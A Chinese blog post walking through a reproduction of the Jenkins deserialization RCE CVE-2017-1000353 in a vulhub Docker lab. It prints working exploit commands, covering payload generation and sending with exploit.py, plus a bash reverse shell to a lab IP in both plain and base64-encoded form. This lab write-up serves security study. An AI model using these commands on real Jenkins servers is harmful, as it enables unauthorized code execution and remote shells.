CVE-2017-1000353 Jenkins漏洞复现系列(一)

简介: Jenkins未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行

一、环境搭建:

进入镜像目录:


cd vulhub/jenkins/CVE-2017-1000353


启动环境:


docker-compose up -d

访问8080端口



二、漏洞描述:

Jenkins未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。


影响版本:

所有Jenkins主版本均受到影响(包括<=2.56版本)

所有Jenkins LTS均受到影响(包括<=2.46.1版本)



三、漏洞复现:

下载利用脚本:https://github.com/vulhub/CVE-2017-1000353

1、生成ser二进制利用文件(注意和java版本有关系,我在kali下生成的ser文件可成功利用,在win10的java版本失败了):


java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "touch /tmp/123"

会在tmp目录下创建123文件


2、利用exp发送payload:


python3 exploit.py http://targetip:8080 poc.ser(刚才生成的poc.ser文件,放在同一目录下)

payload发送成功结果:

成功创建:


直接反弹shell:


bash -i >& /dev/tcp/192.168.136.129/7777 0>&1

http://www.jackson-t.ca/runtime-exec-payloads.html  进行编码:


bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xMjkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}


生成ser:


java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xMjkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"


同样和上面一样,使用exp脚本发送poc.ser


kali监听端口,即可接收到反弹shell


后续会继续更新关于Jenkins的漏洞复现,敬请期待!

目录
相关文章
|
云安全 安全 jenkins
威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件。除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐患。 由于攻击者直接复制了Jenkins系列漏洞发现者(Orange.tw)在博客上公布的poc,攻击payload含有"Orange.tw"字样,可能被误认为是漏洞发现者在进行测试,因此我们将木马命名为ImposterMiner(冒充者)。
9092 0
|
监控 安全 jenkins
游戏安全资讯精选 2018年第五期:一年收购金额超100亿,都有哪些棋牌游戏公司上了岸?PHP GD库拒绝服务漏洞安全建议,软件集成平台Jenkins证书及日志泄露
一年收购金额超100亿,都有哪些棋牌游戏公司上了岸?PHP GD库拒绝服务漏洞安全建议,软件集成平台Jenkins证书及日志泄露
2327 0
|
4月前
|
jenkins Java 持续交付
【项目集成工具】Jenkins
【项目集成工具】Jenkins
|
1月前
|
jenkins Java 持续交付
Docker Swarm总结+Jenkins安装配置与集成(5/5)
Docker Swarm总结+Jenkins安装配置与集成(5/5)
54 0
|
1月前
|
jenkins Java 持续交付
Docker Swarm总结+Jenkins安装配置与集成snarqube和目标服务器(4/5)
Docker Swarm总结+Jenkins安装配置与集成snarqube和目标服务器(4/5)
44 0
|
7月前
|
jenkins 持续交付 开发工具
如何基于Docker搭建jenkins集成开发环境?建议收藏
如何基于Docker搭建jenkins集成开发环境?建议收藏
100 1
|
6月前
|
运维 jenkins 机器人
Jenkins配置项目集成钉钉通知
Jenkins配置项目集成钉钉通知
|
7月前
|
jenkins 应用服务中间件 持续交付
1小时带你入门Jenkins持续集成自动化环境搭建
1小时带你入门Jenkins持续集成自动化环境搭建
|
7月前
|
jenkins Java 持续交付
使用 Jenkins 创建微服务应用的持续集成
使用 Jenkins 创建微服务应用的持续集成
82 0